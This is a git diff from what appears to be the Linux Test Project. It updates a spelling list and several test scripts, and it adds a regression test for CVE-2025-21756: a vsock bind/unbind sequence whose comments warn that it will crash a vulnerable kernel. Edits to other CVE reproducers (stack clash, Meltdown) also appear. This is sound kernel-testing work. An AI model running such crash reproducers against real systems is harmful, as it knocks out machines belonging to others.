+unknwon||unknown unkown||unknown -unamed||unnamed -uneeded||unneeded -unneded||unneeded +unmached||unmatched unneccecary||unnecessary unneccesary||unnecessary unneccessary||unnecessary unnecesary||unnecessary +unneded||unneeded unneedingly||unnecessarily unnsupported||unsupported -unmached||unmatched unprecise||imprecise +unpriviledged||unprivileged +unpriviliged||unprivileged unregester||unregister unresgister||unregister unrgesiter||unregister unsinged||unsigned -unstabel||unstable unsolicitied||unsolicited +unsolicted||unsolicited +unstabel||unstable unsuccessfull||unsuccessful unsuported||unsupported untill||until ununsed||unused unuseful||useless +unuspported||unsupported unvalid||invalid upate||update +updtes||updates upsupported||unsupported +upto||up to +usccess||success +useable||usable usefule||useful usefull||useful usege||usage @@ -1567,16 +1755,20 @@ utitity||utility utitlty||utility vaid||valid vaild||valid +validationg||validating valide||valid variantions||variations varible||variable varient||variant vaule||value -verbse||verbose veify||verify +verbse||verbose +verfication||verification veriosn||version verisons||versions verison||version +veritical||vertical +versoin||version verson||version vicefersa||vice-versa virtal||virtual @@ -1586,16 +1778,18 @@ visiters||visitors vitual||virtual vunerable||vulnerable wakeus||wakeups +was't||wasn't wathdog||watchdog wating||waiting -wiat||wait wether||whether whataver||whatever whcih||which whenver||whenever wheter||whether whe||when +wiat||wait wierd||weird +wihout||without wiil||will wirte||write withing||within diff --git a/ltp/testcases/commands/du/du01.sh b/ltp/testcases/commands/du/du01.sh index 04e9d761..7cdb98ca 100755 --- a/ltp/testcases/commands/du/du01.sh +++ b/ltp/testcases/commands/du/du01.sh @@ -69,13 +69,13 @@ block_size=$((block_size / 1024)) # So we use the approximate value to check. check1="^10[2-3][0-9][0-9][[:space:]]\." check2="^10[2-3][0-9][0-9][[:space:]]testfile" -check3="^\(0\|${block_size}\)[[:space:]]\.\/testdir\/testsymlink" +check3="^\(0\|${block_size}\)[[:space:]]\./testdir/testsymlink" check5="^20[4-6][0-9][0-9][[:space:]]\." check7="^10[4-5][0-9][0-9]\{4\}[[:space:]]\." check9="^10[2-3][0-9][0-9][[:space:]]total" -check11="^10[2-3][0-9][0-9][[:space:]]testdir\/testsymlink" +check11="^10[2-3][0-9][0-9][[:space:]]testdir/testsymlink" check14="^1[0,1]M[[:space:]]\." -check16="^10[2-3][0-9][0-9][[:space:]]testdir\/" +check16="^10[2-3][0-9][0-9][[:space:]]testdir/" check20="^11M[[:space:]]\." check23="^[0-9]\{1,2\}[[:space:]]\." diff --git a/ltp/testcases/commands/ld/ld01.sh b/ltp/testcases/commands/ld/ld01.sh index c8ba4fc1..a0fbf963 100755 --- a/ltp/testcases/commands/ld/ld01.sh +++ b/ltp/testcases/commands/ld/ld01.sh @@ -69,7 +69,7 @@ test5() EXPECT_FAIL $LD -Bstatic -r main.o f1.o rf1.o test.so -L/usr/lib/ 2\> ld.out cat ld.out - if grep -q "$LD: attempted static link of dynamic object" ld.out; then + if grep -q "attempted static link of dynamic object" ld.out; then tst_res TPASS "Got expected error message" else tst_res TFAIL "Unexpected error message" diff --git a/ltp/testcases/commands/mkdir/mkdir_tests.sh b/ltp/testcases/commands/mkdir/mkdir_tests.sh index c0a570e5..3bafbfdd 100755 --- a/ltp/testcases/commands/mkdir/mkdir_tests.sh +++ b/ltp/testcases/commands/mkdir/mkdir_tests.sh @@ -34,6 +34,9 @@ test2() if grep -q "$LONG_PATH.*No such file or directory" mkdir.out; then tst_res TPASS "Got correct error message" + elif grep -q "mkdir: No such file or directory" mkdir.out; then + # mkdir from rust coreutils doesn't print the directory path + tst_res TPASS "Got correct error message" else tst_res TFAIL "Got wrong error message" cat mkdir.out diff --git a/ltp/testcases/commands/vmcp/vmcp_m.sh b/ltp/testcases/commands/vmcp/vmcp_m.sh deleted file mode 100644 index 3924a6e1..00000000 --- a/ltp/testcases/commands/vmcp/vmcp_m.sh +++ /dev/null @@ -1,48 +0,0 @@ -#!/bin/sh -# SPDX-License-Identifier: GPL-2.0-or-later -# -# vmcp tool and module test -# -# The tool allows Linux users to send commands to the z/VM control program (CP). -# The normal usage is to invoke vmcp with the command you want to execute. -# -# The test case contains one shell script: -# -# basically executes the vmcp tool with different parameters and verifies that -# output and exitcodes are as expected - -TST_CNT=2 -TST_TESTFUNC=vmcp_main -TST_NEEDS_CMDS="vmcp" - -vmcp_run() -{ - - $2 - if [ $? -eq $1 ]; then - tst_res TPASS "'$2' returned '$1'" - else - tst_res TFAIL "'$2' did not return '$1'" - fi -} - -vmcp_main1() -{ - tst_res TINFO "Verify basic VMCP commands" - vmcp_run 0 "vmcp --version"; - vmcp_run 0 "vmcp --help"; - vmcp_run 0 "vmcp -v"; - vmcp_run 0 "vmcp -h"; - vmcp_run 0 "vmcp q dasd"; -} - -vmcp_main2() -{ - tst_res TINFO "Verify error conditions" - vmcp_run 4 "vmcp -L" - vmcp_run 4 "vmcp -m q dasd" - vmcp_run 1 "vmcp dasddasddasd" -} - -. tst_test.sh -tst_run diff --git a/ltp/testcases/cve/.gitignore b/ltp/testcases/cve/.gitignore index 8eb17ce5..dc1dad5b 100644 --- a/ltp/testcases/cve/.gitignore +++ b/ltp/testcases/cve/.gitignore @@ -14,3 +14,4 @@ cve-2022-4378 icmp_rate_limit01 tcindex01 cve-2025-38236 +cve-2025-21756 diff --git a/ltp/testcases/cve/cve-2017-17052.c b/ltp/testcases/cve/cve-2017-17052.c index 700eb782..4d9448c2 100644 --- a/ltp/testcases/cve/cve-2017-17052.c +++ b/ltp/testcases/cve/cve-2017-17052.c @@ -44,9 +44,18 @@ static void cleanup(void) static void *mmap_thread(void *arg) { + void *ptr; + for (;;) { - SAFE_MMAP(NULL, 0x1000000, PROT_READ, + ptr = mmap(NULL, 0x1000000, PROT_READ, MAP_POPULATE|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); + + if (ptr == MAP_FAILED) { + if (errno == ENOMEM) + usleep(1000); + else + tst_brk(TBROK | TTERRNO, "mmap() failed"); + } } return arg; @@ -121,6 +130,10 @@ static struct tst_test test = { .cleanup = cleanup, .setup = setup, .test_all = run, + .ulimit = (const struct tst_ulimit_val[]) { + {RLIMIT_AS, RLIM_INFINITY}, + {} + }, .tags = (const struct tst_tag[]) { {"linux-git", "2b7e8665b4ff"}, {"CVE", "2017-17052"}, diff --git a/ltp/testcases/cve/cve-2025-21756.c b/ltp/testcases/cve/cve-2025-21756.c new file mode 100644 index 00000000..80fb84c4 --- /dev/null +++ b/ltp/testcases/cve/cve-2025-21756.c @@ -0,0 +1,95 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2025 Andrea Cervesato <andrea.cervesato@suse.com> + */ + +/*\ + * Test for CVE-2025-21756 fixed in kernel v6.14: + * fcdd2242c023 vsock: Keep the binding until socket destruction + * + * Reproducer based on: + * https://lore.kernel.org/all/20250128-vsock-transport-vs-autobind-v3-5-1cf57065b770@rbox.co/ + * + * Beware, this test will crash the system. + */ + +#include "tst_test.h" +#include "lapi/vm_sockets.h" + +#define MAX_PORT_RETRIES 24 +#define VMADDR_CID_NONEXISTING 42 + +static int vsock_bind(unsigned int cid, unsigned int port, int type) +{ + int sock; + + struct sockaddr_vm sa = { + .svm_family = AF_VSOCK, + .svm_cid = cid, + .svm_port = port, + }; + + sock = SAFE_SOCKET(AF_VSOCK, type, 0); + + if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) == -1) { + if (errno == EINVAL) + tst_brk(TCONF, "VM socket is not supported"); + + tst_brk(TBROK | TERRNO, "bind() error"); + } + + return sock; +} + +static void run(void) +{ + int sockets[MAX_PORT_RETRIES]; + struct sockaddr_vm addr; + int socket, sock_count; + socklen_t alen; + + socket = vsock_bind(VMADDR_CID_LOCAL, VMADDR_PORT_ANY, SOCK_SEQPACKET); + + alen = sizeof(addr); + SAFE_GETSOCKNAME(socket, (struct sockaddr *)&addr, &alen); + + for (sock_count = 0; sock_count < MAX_PORT_RETRIES; ++sock_count) { + sockets[sock_count] = vsock_bind(VMADDR_CID_ANY, + ++addr.svm_port, SOCK_SEQPACKET); + } + + SAFE_CLOSE(socket); + + socket = SAFE_SOCKET(AF_VSOCK, SOCK_SEQPACKET, 0); + if (!connect(socket, (struct sockaddr *)&addr, alen)) + tst_brk(TBROK, "Unexpected connect() #1 success"); + + addr.svm_cid = VMADDR_CID_NONEXISTING; + if (!connect(socket, (struct sockaddr *)&addr, alen)) + tst_brk(TBROK, "Unexpected connect() #2 success"); + + addr.svm_cid = VMADDR_CID_LOCAL; + addr.svm_port = VMADDR_PORT_ANY; + + /* Vulnerable system may crash now. */ + SAFE_BIND(socket, (struct sockaddr *)&addr, alen); + SAFE_CLOSE(socket); + + if (tst_taint_check()) + tst_res(TFAIL, "Kernel is vulnerable"); + else + tst_res(TPASS, "Kernel survived after socket unbinding"); + + while (sock_count--) + SAFE_CLOSE(sockets[sock_count]); +} + +static struct tst_test test = { + .test_all = run, + .taint_check = TST_TAINT_W | TST_TAINT_D, + .tags = (const struct tst_tag[]) { + {"linux-git", "fcdd2242c023"}, + {"CVE", "2025-21756"}, + {} + }, +}; diff --git a/ltp/testcases/cve/icmp_rate_limit01.c b/ltp/testcases/cve/icmp_rate_limit01.c index 0305ad09..5193c5df 100644 --- a/ltp/testcases/cve/icmp_rate_limit01.c +++ b/ltp/testcases/cve/icmp_rate_limit01.c @@ -62,6 +62,8 @@ static void setup(void) /* Do NOT close this FD, or both interfaces will be destroyed */ childns = SAFE_OPEN("/proc/self/ns/net", O_RDONLY); + SAFE_FILE_PRINTF("/proc/sys/net/ipv4/icmp_msgs_burst", "50"); + /* Configure child namespace */ CREATE_VETH_PAIR("ltp_veth1", "ltp_veth2"); NETDEV_ADD_ADDRESS_INET("ltp_veth2", htonl(DSTADDR), NETMASK, diff --git a/ltp/testcases/cve/meltdown.c b/ltp/testcases/cve/meltdown.c index d2c40c12..fd9d7eae 100644 --- a/ltp/testcases/cve/meltdown.c +++ b/ltp/testcases/cve/meltdown.c @@ -287,7 +287,7 @@ find_kernel_symbol(const char *name) if (uname(&utsname) < 0) tst_brk(TBROK | TERRNO, "uname"); - sprintf(systemmap, "/boot/System.map-%s", utsname.release); + snprintf(systemmap, sizeof(systemmap), "/boot/System.map-%s", utsname.release); addr = find_symbol_in_file(systemmap, name); return addr; } diff --git a/ltp/testcases/cve/stack_clash.c b/ltp/testcases/cve/stack_clash.c index 19da449d..e9dd0736 100644 --- a/ltp/testcases/cve/stack_clash.c +++ b/ltp/testcases/cve/stack_clash.c @@ -12,12 +12,12 @@ * gap which is considered hard to hop above. Code is based on a reproducer from * https://bugzilla.suse.com/show_bug.cgi?id=CVE-2017-1000364. * - * The code :man2:`mmap` region close to the stack end. The code then allocates + * The code :manpage:`mmap(2)` region close to the stack end. The code then allocates * memory on stack until it hits guard page and SIGSEGV or SIGBUS is generated * by the kernel. The signal handler checks that fault address is further than * THRESHOLD from the mmapped area. * - * We read /proc/self/maps to examine exact top of the stack and :man2:`mmap` + * We read /proc/self/maps to examine exact top of the stack and :manpage:`mmap(2)` * our region exactly GAP_PAGES * PAGE_SIZE away. We read /proc/cmdline to * see if a different stack_guard_gap size is configured. We set stack limit * to infinity and preallocate REQ_STACK_SIZE bytes of stack so that no calls @@ -331,6 +331,10 @@ static struct tst_test test = { .needs_root = 1, .setup = setup, .test_all = stack_clash_test, + .ulimit = (const struct tst_ulimit_val[]) { + {RLIMIT_AS, RLIM_INFINITY}, + {} + }, .tags = (const struct tst_tag[]) { {"CVE", "2017-1000364"}, {"linux-git", "58c5d0d6d522"}, diff --git a/ltp/testcases/cve/tcindex01.c b/ltp/testcases/cve/tcindex01.c index 370d7de4..478d7505 100644 --- a/ltp/testcases/cve/tcindex01.c +++ b/ltp/testcases/cve/tcindex01.c @@ -145,16 +145,13 @@ static struct tst_test test = { "CONFIG_NET_NS=y", "CONFIG_NET_SCH_HTB", "CONFIG_NET_CLS_TCINDEX", + "CONFIG_DUMMY", NULL }, .save_restore = (const struct tst_path_val[]) { {"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP}, {} }, - .needs_drivers = (const char *const []) { - "dummy", - NULL - }, .tags = (const struct tst_tag[]) { {"linux-git", "8c710f75256b"}, {"CVE", "2023-1829"}, diff --git a/ltp/testcases/kernel/connectors/pec/event_generator.c b/ltp/testcases/kernel/connectors/pec/event_generator.c index 4945058f..f8cbfd36 100644 --- a/ltp/testcases/kernel/connectors/pec/event_generator.c +++ b/ltp/testcases/kernel/connectors/pec/event_generator.c @@ -2,9 +2,10 @@ /* * Copyright (c) 2008 FUJITSU LIMITED * Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de> - * * Author: Li Zefan <lizf@cn.fujitsu.com> - * + */ + +/*\ * Generate a specified process event (fork, exec, uid, gid or exit). */ diff --git a/ltp/testcases/kernel/connectors/pec/pec_listener.c b/ltp/testcases/kernel/connectors/pec/pec_listener.c index 01ee91d4..9f2b12fe 100644 --- a/ltp/testcases/kernel/connectors/pec/pec_listener.c +++ b/ltp/testcases/kernel/connectors/pec/pec_listener.c @@ -3,7 +3,9 @@ * Copyright (c) 2008 FUJITSU LIMITED * * Author: Li Zefan <lizf@cn.fujitsu.com> - * + */ + +/*\ * Listen to process events received through the kernel connector * and print them. */ diff --git a/ltp/testcases/kernel/containers/pidns/pidns04.c b/ltp/testcases/kernel/containers/pidns/pidns04.c index ff106780..1594cfc5 100644 --- a/ltp/testcases/kernel/containers/pidns/pidns04.c +++ b/ltp/testcases/kernel/containers/pidns/pidns04.c @@ -49,4 +49,8 @@ static struct tst_test test = { .test_all = run, .needs_root = 1, .forks_child = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, }; diff --git a/ltp/testcases/kernel/containers/pidns/pidns05.c b/ltp/testcases/kernel/containers/pidns/pidns05.c index b1666f23..4b0478c8 100644 --- a/ltp/testcases/kernel/containers/pidns/pidns05.c +++ b/ltp/testcases/kernel/containers/pidns/pidns05.c @@ -116,4 +116,8 @@ static struct tst_test test = { .needs_root = 1, .needs_checkpoints = 1, .forks_child = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, }; diff --git a/ltp/testcases/kernel/containers/pidns/pidns06.c b/ltp/testcases/kernel/containers/pidns/pidns06.c index b79a5d40..a3d289b0 100644 --- a/ltp/testcases/kernel/containers/pidns/pidns06.c +++ b/ltp/testcases/kernel/containers/pidns/pidns06.c @@ -43,4 +43,8 @@ static struct tst_test test = { .test_all = run, .needs_root = 1, .forks_child = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, }; diff --git a/ltp/testcases/kernel/containers/pidns/pidns10.c b/ltp/testcases/kernel/containers/pidns/pidns10.c index ab6a7a4a..c65626fd 100644 --- a/ltp/testcases/kernel/containers/pidns/pidns10.c +++ b/ltp/testcases/kernel/containers/pidns/pidns10.c @@ -42,4 +42,8 @@ static struct tst_test test = { .test_all = run, .needs_root = 1, .forks_child = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, }; diff --git a/ltp/testcases/kernel/containers/pidns/pidns13.c b/ltp/testcases/kernel/containers/pidns/pidns13.c index 1ea9f5cd..4334a004 100644 --- a/ltp/testcases/kernel/containers/pidns/pidns13.c +++ b/ltp/testcases/kernel/containers/pidns/pidns13.c @@ -125,4 +125,8 @@ static struct tst_test test = { .needs_root = 1, .needs_checkpoints = 1, .forks_child = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, }; diff --git a/ltp/testcases/kernel/containers/pidns/pidns16.c b/ltp/testcases/kernel/containers/pidns/pidns16.c index 8867a132..000dc5c8 100644 --- a/ltp/testcases/kernel/containers/pidns/pidns16.c +++ b/ltp/testcases/kernel/containers/pidns/pidns16.c @@ -82,4 +82,8 @@ static struct tst_test test = { .needs_root = 1, .needs_checkpoints = 1, .forks_child = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, }; diff --git a/ltp/testcases/kernel/containers/pidns/pidns17.c b/ltp/testcases/kernel/containers/pidns/pidns17.c index 3a85d967..fb28b8ad 100644 --- a/ltp/testcases/kernel/containers/pidns/pidns17.c +++ b/ltp/testcases/kernel/containers/pidns/pidns17.c @@ -67,4 +67,8 @@ static struct tst_test test = { .test_all = run, .needs_root = 1, .forks_child = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, }; diff --git a/ltp/testcases/kernel/containers/pidns/pidns30.c b/ltp/testcases/kernel/containers/pidns/pidns30.c index 409b37ec..441dd06c 100644 --- a/ltp/testcases/kernel/containers/pidns/pidns30.c +++ b/ltp/testcases/kernel/containers/pidns/pidns30.c @@ -116,4 +116,8 @@ static struct tst_test test = { .forks_child = 1, .needs_root = 1, .needs_checkpoints = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, }; diff --git a/ltp/testcases/kernel/containers/pidns/pidns31.c b/ltp/testcases/kernel/containers/pidns/pidns31.c index a8d73709..32e6e2c2 100644 --- a/ltp/testcases/kernel/containers/pidns/pidns31.c +++ b/ltp/testcases/kernel/containers/pidns/pidns31.c @@ -113,4 +113,8 @@ static struct tst_test test = { .forks_child = 1, .needs_root = 1, .needs_checkpoints = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, }; diff --git a/ltp/testcases/kernel/containers/pidns/pidns32.c b/ltp/testcases/kernel/containers/pidns/pidns32.c index a192c128..2a9e2827 100644 --- a/ltp/testcases/kernel/containers/pidns/pidns32.c +++ b/ltp/testcases/kernel/containers/pidns/pidns32.c @@ -27,7 +27,7 @@ static pid_t child_func(void) { pid_t cpid = 0; - if (tst_atomic_inc(level) == MAXNEST) + if (tst_atomic_return_add(1, level) == MAXNEST) return cpid; cpid = SAFE_CLONE(&args); @@ -58,7 +58,7 @@ static void run(void) if (!child_func()) return; - TST_EXP_EQ_LI(*level, MAXNEST); + TST_EXP_EQ_LI(*level-1, MAXNEST); } static struct tst_test test = { @@ -67,4 +67,8 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .forks_child = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, }; diff --git a/ltp/testcases/kernel/controllers/README b/ltp/testcases/kernel/controllers/README index b1b00eb6..2c965077 100644 --- a/ltp/testcases/kernel/controllers/README +++ b/ltp/testcases/kernel/controllers/README @@ -1,5 +1,4 @@ The complete dir tree is for testcases for resource management testing of linux kernel. -For the test plan please refer to the file testplan.txt -------------- ***WARNING:*** @@ -14,10 +13,6 @@ similar work as above. FILES DESCRIPTION: -testplan.txt ------------- -A brief description of the plan for resource management testing. - test_controllers.sh ------------------- This is the main script file that starts the test. It first checks if the diff --git a/ltp/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh b/ltp/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh index 276231fe..a91c400f 100755 --- a/ltp/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh +++ b/ltp/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh @@ -117,6 +117,15 @@ test2() { local val1 local val2 + local cgroup_version + + cgroup_require "memory" + cgroup_version=$(cgroup_get_version "memory") + if [ "$cgroup_version" = "2" ]; then + tst_res TCONF "This test requires cgroup v1, but system is using cgroup v2" + cgroup_cleanup + return + fi mount -t cgroup -o none,name=foo cgroup cgroup/ if [ $? -ne 0 ]; then diff --git a/ltp/testcases/kernel/controllers/cgroup_xattr/cgroup_xattr.c b/ltp/testcases/kernel/controllers/cgroup_xattr/cgroup_xattr.c index 0d016b58..242e988b 100644 --- a/ltp/testcases/kernel/controllers/cgroup_xattr/cgroup_xattr.c +++ b/ltp/testcases/kernel/controllers/cgroup_xattr/cgroup_xattr.c @@ -36,7 +36,7 @@ #include <errno.h> #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "cgroup_xattr"; @@ -289,7 +289,6 @@ int mount_cgroup(void) int i, any_mounted = 0; for (i = 0; i < cgrp_opt_num; ++i) { - char dir[MAX_DIR_NAME]; struct cgrp_option *opt = &cgrp_opt[i]; tst_resm(TINFO, "mount options %d: %s (hier = %d)", i, opt->str, opt->hier); @@ -297,7 +296,7 @@ int mount_cgroup(void) SAFE_MKDIR(cleanup, opt->dir, 0755); if (mount(opt->dir, opt->dir, "cgroup", 0, opt->str) == -1) { - tst_resm(TINFO, "Can't mount: %s", dir); + tst_resm(TINFO, "Can't mount: %s", opt->dir); continue; } diff --git a/ltp/testcases/kernel/controllers/cpuctl/cpuctl_def_task01.c b/ltp/testcases/kernel/controllers/cpuctl/cpuctl_def_task01.c index 4856f337..ad0e4fbd 100644 --- a/ltp/testcases/kernel/controllers/cpuctl/cpuctl_def_task01.c +++ b/ltp/testcases/kernel/controllers/cpuctl/cpuctl_def_task01.c @@ -57,7 +57,7 @@ #include "../libcontrollers/libcontrollers.h" #include "test.h" /* LTP harness APIs */ -#include "safe_macros.h" +#include "tso_safe_macros.h" #ifdef DEBUG #define dbg(x...) printf(x); diff --git a/ltp/testcases/kernel/controllers/cpuctl/cpuctl_def_task02.c b/ltp/testcases/kernel/controllers/cpuctl/cpuctl_def_task02.c index 3c19a771..937ee934 100644 --- a/ltp/testcases/kernel/controllers/cpuctl/cpuctl_def_task02.c +++ b/ltp/testcases/kernel/controllers/cpuctl/cpuctl_def_task02.c @@ -60,7 +60,7 @@ #include "../libcontrollers/libcontrollers.h" #include "test.h" /* LTP harness APIs */ -#include "safe_macros.h" +#include "tso_safe_macros.h" #define TIME_INTERVAL 30 /* Time interval in seconds */ #define NUM_INTERVALS 3 /* How many iterations of TIME_INTERVAL */ diff --git a/ltp/testcases/kernel/controllers/cpuctl/cpuctl_def_task03.c b/ltp/testcases/kernel/controllers/cpuctl/cpuctl_def_task03.c index 63aec0d2..6b974ec7 100644 --- a/ltp/testcases/kernel/controllers/cpuctl/cpuctl_def_task03.c +++ b/ltp/testcases/kernel/controllers/cpuctl/cpuctl_def_task03.c @@ -61,7 +61,7 @@ #include "../libcontrollers/libcontrollers.h" #include "test.h" /* LTP harness APIs */ -#include "safe_macros.h" +#include "tso_safe_macros.h" #define TIME_INTERVAL 30 /* Time interval in seconds */ #define NUM_INTERVALS 2 /* How many iterations of TIME_INTERVAL */ diff --git a/ltp/testcases/kernel/controllers/cpuctl/cpuctl_def_task04.c b/ltp/testcases/kernel/controllers/cpuctl/cpuctl_def_task04.c index 9a56d7b4..95515e72 100644 --- a/ltp/testcases/kernel/controllers/cpuctl/cpuctl_def_task04.c +++ b/ltp/testcases/kernel/controllers/cpuctl/cpuctl_def_task04.c @@ -61,7 +61,7 @@ #include "../libcontrollers/libcontrollers.h" #include "test.h" /* LTP harness APIs */ -#include "safe_macros.h" +#include "tso_safe_macros.h" #define TIME_INTERVAL 100 /* Time interval in seconds */ #define NUM_INTERVALS 2 /* How many iterations of TIME_INTERVAL */ diff --git a/ltp/testcases/kernel/controllers/cpuctl/cpuctl_test01.c b/ltp/testcases/kernel/controllers/cpuctl/cpuctl_test01.c index 9370f7eb..b37e77a3 100644 --- a/ltp/testcases/kernel/controllers/cpuctl/cpuctl_test01.c +++ b/ltp/testcases/kernel/controllers/cpuctl/cpuctl_test01.c @@ -62,7 +62,7 @@ #include "../libcontrollers/libcontrollers.h" #include "test.h" /* LTP harness APIs */ -#include "safe_macros.h" +#include "tso_safe_macros.h" #define TIME_INTERVAL 30 /* Time interval in seconds */ #define NUM_INTERVALS 3 /* How many iterations of TIME_INTERVAL */ diff --git a/ltp/testcases/kernel/controllers/cpuctl/cpuctl_test02.c b/ltp/testcases/kernel/controllers/cpuctl/cpuctl_test02.c index a9b90d6b..ea5510bd 100644 --- a/ltp/testcases/kernel/controllers/cpuctl/cpuctl_test02.c +++ b/ltp/testcases/kernel/controllers/cpuctl/cpuctl_test02.c @@ -61,7 +61,7 @@ #include "../libcontrollers/libcontrollers.h" #include "test.h" /* LTP harness APIs */ -#include "safe_macros.h" +#include "tso_safe_macros.h" #define TIME_INTERVAL 30 /* Time interval in seconds */ #define NUM_INTERVALS 3 /* How many iterations of TIME_INTERVAL */ diff --git a/ltp/testcases/kernel/controllers/cpuctl/cpuctl_test03.c b/ltp/testcases/kernel/controllers/cpuctl/cpuctl_test03.c index a8137008..7c5eaf87 100644 --- a/ltp/testcases/kernel/controllers/cpuctl/cpuctl_test03.c +++ b/ltp/testcases/kernel/controllers/cpuctl/cpuctl_test03.c @@ -61,7 +61,7 @@ #include "../libcontrollers/libcontrollers.h" #include "test.h" /* LTP harness APIs */ -#include "safe_macros.h" +#include "tso_safe_macros.h" #define TIME_INTERVAL 30 /* Time interval in seconds */ #define NUM_INTERVALS 2 /* How many iterations of TIME_INTERVAL */ diff --git a/ltp/testcases/kernel/controllers/cpuctl/cpuctl_test04.c b/ltp/testcases/kernel/controllers/cpuctl/cpuctl_test04.c index d166aa4d..1aad41d7 100644 --- a/ltp/testcases/kernel/controllers/cpuctl/cpuctl_test04.c +++ b/ltp/testcases/kernel/controllers/cpuctl/cpuctl_test04.c @@ -61,7 +61,7 @@ #include "../libcontrollers/libcontrollers.h" #include "test.h" /* LTP harness APIs */ -#include "safe_macros.h" +#include "tso_safe_macros.h" #define TIME_INTERVAL 100 /* Time interval in seconds */ #define NUM_INTERVALS 2 /* How many iterations of TIME_INTERVAL */ diff --git a/ltp/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_memory_spread_testset.sh b/ltp/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_memory_spread_testset.sh index 21e67179..4c49bb8f 100755 --- a/ltp/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_memory_spread_testset.sh +++ b/ltp/testcases/kernel/controllers/cpuset/cpuset_memory_spread_test/cpuset_memory_spread_testset.sh @@ -81,7 +81,7 @@ set_memsinfo_val() get_memsinfo_val() { local value= - value=`echo "$memsinfo" | grep -e "^\_$1\: "` + value=`echo "$memsinfo" | grep -e "^_$1: "` value=`echo "$value" | sed -r "s/^.*\: (.*)$/\1/"` echo "$value" } diff --git a/ltp/testcases/kernel/controllers/cpuset/cpuset_memory_test/cpuset_memory_testset.sh b/ltp/testcases/kernel/controllers/cpuset/cpuset_memory_test/cpuset_memory_testset.sh index e81d2229..581df5c3 100755 --- a/ltp/testcases/kernel/controllers/cpuset/cpuset_memory_test/cpuset_memory_testset.sh +++ b/ltp/testcases/kernel/controllers/cpuset/cpuset_memory_test/cpuset_memory_testset.sh @@ -44,6 +44,7 @@ HUGEPAGESIZE=$(awk '/Hugepagesize/{ print $2 }' /proc/meminfo) HUGEPAGESIZE=$((${HUGEPAGESIZE:-0} * 1024)) MEMORY_RESULT="$CPUSET_TMP/memory_result" +HUGETLB_MNTPOINT="$CPUSET_TMP/hugetlb" # simple_getresult # $1 - cpuset_memory_test's pid @@ -63,6 +64,7 @@ simple_getresult() test1() { + tst_resm TINFO "$1: Testing anonymous memory allocation on node 0" cpuset_set "$CPUSET/0" "$cpu_of_node0" "0" "0" 2> $CPUSET_TMP/stderr if [ $? -ne 0 ]; then cpuset_log_error $CPUSET_TMP/stderr @@ -80,6 +82,7 @@ test1() test2() { + tst_resm TINFO "$1: Testing file memory allocation on node 0" cpuset_set "$CPUSET/0" "$cpu_of_node0" "0" "0" 2> $CPUSET_TMP/stderr if [ $? -ne 0 ]; then cpuset_log_error $CPUSET_TMP/stderr @@ -97,6 +100,7 @@ test2() test3() { + tst_resm TINFO "$1: Testing SHM memory allocation on node 0" cpuset_set "$CPUSET/0" "$cpu_of_node0" "0" "0" 2> $CPUSET_TMP/stderr if [ $? -ne 0 ]; then cpuset_log_error $CPUSET_TMP/stderr @@ -114,6 +118,7 @@ test3() test4() { + tst_resm TINFO "$1: Testing pre-mlocked anonymous memory allocation on node 0" cpuset_set "$CPUSET/0" "$cpu_of_node0" "0" "0" 2> $CPUSET_TMP/stderr if [ $? -ne 0 ]; then cpuset_log_error $CPUSET_TMP/stderr @@ -131,6 +136,7 @@ test4() test5() { + tst_resm TINFO "$1: Testing mlocked anonymous memory allocation on node 0" cpuset_set "$CPUSET/0" "$cpu_of_node0" "0" "0" 2> $CPUSET_TMP/stderr if [ $? -ne 0 ]; then cpuset_log_error $CPUSET_TMP/stderr @@ -162,6 +168,7 @@ check_hugetlbfs() test6() { + tst_resm TINFO "$1: Testing hugepage SHM memory allocation on node 0" cpuset_set "$CPUSET/0" "$cpu_of_node0" "0" "0" 2> $CPUSET_TMP/stderr if [ $? -ne 0 ]; then cpuset_log_error $CPUSET_TMP/stderr @@ -175,8 +182,8 @@ test6() return 0 fi - mkdir /hugetlb - mount -t hugetlbfs none /hugetlb + mkdir "$HUGETLB_MNTPOINT" + mount -t hugetlbfs none "$HUGETLB_MNTPOINT" save_nr_hugepages=$(cat /proc/sys/vm/nr_hugepages) echo $((2*$nr_mems)) > /proc/sys/vm/nr_hugepages @@ -184,8 +191,8 @@ test6() cpuset_memory_test --shm --hugepage -s $HUGEPAGESIZE --key=7 >"$MEMORY_RESULT" & simple_getresult $! "$CPUSET/0" - umount /hugetlb - rmdir /hugetlb + umount "$HUGETLB_MNTPOINT" + rmdir "$HUGETLB_MNTPOINT" echo $save_nr_hugepages > /proc/sys/vm/nr_hugepages if [ $(cat /proc/sys/vm/nr_hugepages) -ne $save_nr_hugepages ]; then @@ -201,6 +208,7 @@ test6() test7() { + tst_resm TINFO "$1: Testing anonymous memory allocation on node 0" cpuset_set "$CPUSET/0" "$cpu_of_node0" "0" "0" 2> $CPUSET_TMP/stderr if [ $? -ne 0 ]; then cpuset_log_error $CPUSET_TMP/stderr @@ -218,6 +226,7 @@ test7() test8() { + tst_resm TINFO "$1: Testing anonymous memory allocation on node 1" 